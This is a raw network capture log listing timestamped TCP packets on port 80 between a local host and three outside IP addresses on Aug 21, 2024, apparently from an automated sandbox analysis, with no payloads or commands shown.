Aug 21, 2024 08:32:14.394404888 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.394414902 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.394421101 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.394426107 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.394432068 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.394437075 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.394462109 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.394510031 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.394545078 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.394551039 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.394556046 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.394603014 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.394864082 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.394881010 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.394886017 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.394931078 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.394979000 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.394989967 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.395000935 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.395051956 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.395178080 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.395215034 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.395220041 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.395242929 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.395272017 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.395308018 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.395318985 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.395323992 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.395329952 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.395370007 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.395370007 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.395571947 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.395621061 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.395627975 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.395627975 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.395682096 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.395718098 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.395724058 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.395730019 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.395735025 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.395780087 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.395893097 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.395905972 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.395916939 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.395921946 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.395931005 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.395941019 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.395942926 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.395946980 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.395952940 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.395982981 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.396008968 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.396581888 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.396599054 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.396605968 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.396636009 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.396656990 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.396656990 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.396665096 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.396677971 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.396683931 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.396712065 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.396738052 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.396763086 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.396769047 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.396780014 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.396826982 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.396924973 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.396934032 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.396945000 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.396950006 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.396955013 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.396960974 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.396998882 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.397031069 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.397464037 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.397473097 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.397485971 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.397530079 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.397567987 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.397574902 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.397584915 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.397589922 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.397691011 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.397708893 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.397715092 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.397725105 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.397731066 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.397766113 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.397799015 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.397911072 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.397917032 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.397927046 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.397932053 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.397943020 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.397974968 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.398008108 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.398346901 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.398395061 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.398406982 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.398453951 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.411696911 CEST	49721	80	192.168.2.6	194.58.114.223
Aug 21, 2024 08:32:14.416462898 CEST	80	49721	194.58.114.223	192.168.2.6
Aug 21, 2024 08:32:14.433423042 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.433588982 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.433597088 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.433600903 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.433614016 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.433619022 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.433624983 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.433660030 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.433690071 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.433958054 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.433964014 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.433969975 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.434020996 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.434396029 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.434451103 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.434452057 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.434458971 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.434524059 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.434525967 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.434534073 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.434545040 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.434587002 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.435302019 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.435349941 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.435355902 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.435365915 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.435395956 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.435434103 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.435441017 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.435451031 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.435493946 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.448338985 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.448345900 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.448355913 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.448407888 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.448414087 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.448422909 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.448434114 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.448438883 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.448443890 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.448474884 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.448493958 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.448570967 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.448579073 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.448590040 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.448595047 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.448600054 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.448631048 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.448654890 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.448690891 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.448734999 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.448810101 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.448816061 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.448827982 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.448832989 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.448839903 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.448852062 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.448857069 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.448867083 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.448900938 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.449032068 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.449039936 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.449052095 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.449064016 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.449071884 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.449071884 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.449074984 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.449098110 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.449126959 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.449268103 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.449275017 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.449280977 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.449286938 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.449292898 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.449301004 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.449302912 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.449322939 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.449342966 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.449500084 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.449507952 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.449518919 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.449523926 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.449528933 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.449533939 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.449539900 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.449549913 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.449556112 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.449558973 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.449584007 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.449600935 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.449763060 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.449769020 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.449779034 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.449784040 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.449790001 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.449825048 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.449847937 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.449906111 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.449913025 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.449918032 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.449923038 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.449933052 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.449939013 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.449949026 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.449953079 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.449954987 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.449959993 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.449971914 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.449976921 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.449982882 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.449982882 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.450006008 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.450035095 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.450345039 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.450351954 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.450362921 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.450367928 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.450402021 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.450412035 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.450434923 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.450442076 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.450488091 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.450644970 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.450675011 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.450687885 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.450709105 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.450717926 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.450726986 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.450727940 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.450733900 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.450740099 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.450747013 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.450752020 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.450757980 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.450759888 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.450762987 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.450774908 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.450781107 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.450782061 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.450786114 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.450792074 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.450798035 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.450803041 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.450803041 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.450809002 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.450814962 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.450820923 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.450820923 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.450851917 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.450864077 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.451328993 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.451339960 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.451344967 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.451349020 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.451354027 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.451364994 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.451370955 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.451375961 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.451380968 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.451381922 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.451385975 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.451391935 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.451417923 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.451436043 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.451575041 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.451581001 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.451586962 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.451623917 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.451678991 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.451687098 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.451697111 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.451702118 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.451706886 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.451711893 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.451723099 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.451729059 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.451738119 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.451754093 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.451773882 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.451936960 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.451942921 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.451952934 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.451989889 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.487936020 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.487943888 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.487953901 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.487958908 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.487963915 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.487970114 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.487974882 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.488010883 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.488038063 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.488044024 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.488045931 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.488075018 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.488091946 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.488094091 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.488096952 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.488142967 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.488167048 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.488188028 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.488200903 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.488204956 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.488240004 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.488279104 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.488284111 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.488297939 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.488306999 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.488331079 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.488354921 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.488379002 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.488383055 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.488392115 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.488398075 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.488403082 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.488425970 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.488460064 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.488523006 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.488539934 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.488550901 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.488590002 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.488611937 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.488619089 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.488626957 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.488682032 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.488730907 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.488738060 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.488746881 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.488786936 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.488790989 CEST	49720	80	192.168.2.6	147.45.44.104
